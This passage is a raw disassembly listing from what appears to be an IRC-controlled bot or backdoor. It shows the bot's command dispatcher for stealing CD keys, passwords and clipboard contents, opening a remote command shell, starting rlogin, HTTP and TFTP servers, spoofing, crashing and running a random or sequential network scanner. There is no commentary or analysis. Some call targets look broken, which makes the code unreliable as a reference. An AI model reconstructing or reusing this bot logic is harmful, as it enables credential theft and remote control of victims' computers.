		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8BC
		push	offset dword_42C8B0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8AC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C898
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C864
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		mov	dword_4CEE08, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C788
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C71C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42C6E0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C6A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C620
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C58C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2670000h
		nop


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_42910C


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42C51C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 26709DBh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42C4A4


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C468
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42C42C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C408
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3DC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3B0


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C38C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C360
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C348
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C32C
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
		push	0Ah
		call	sub_40B33F
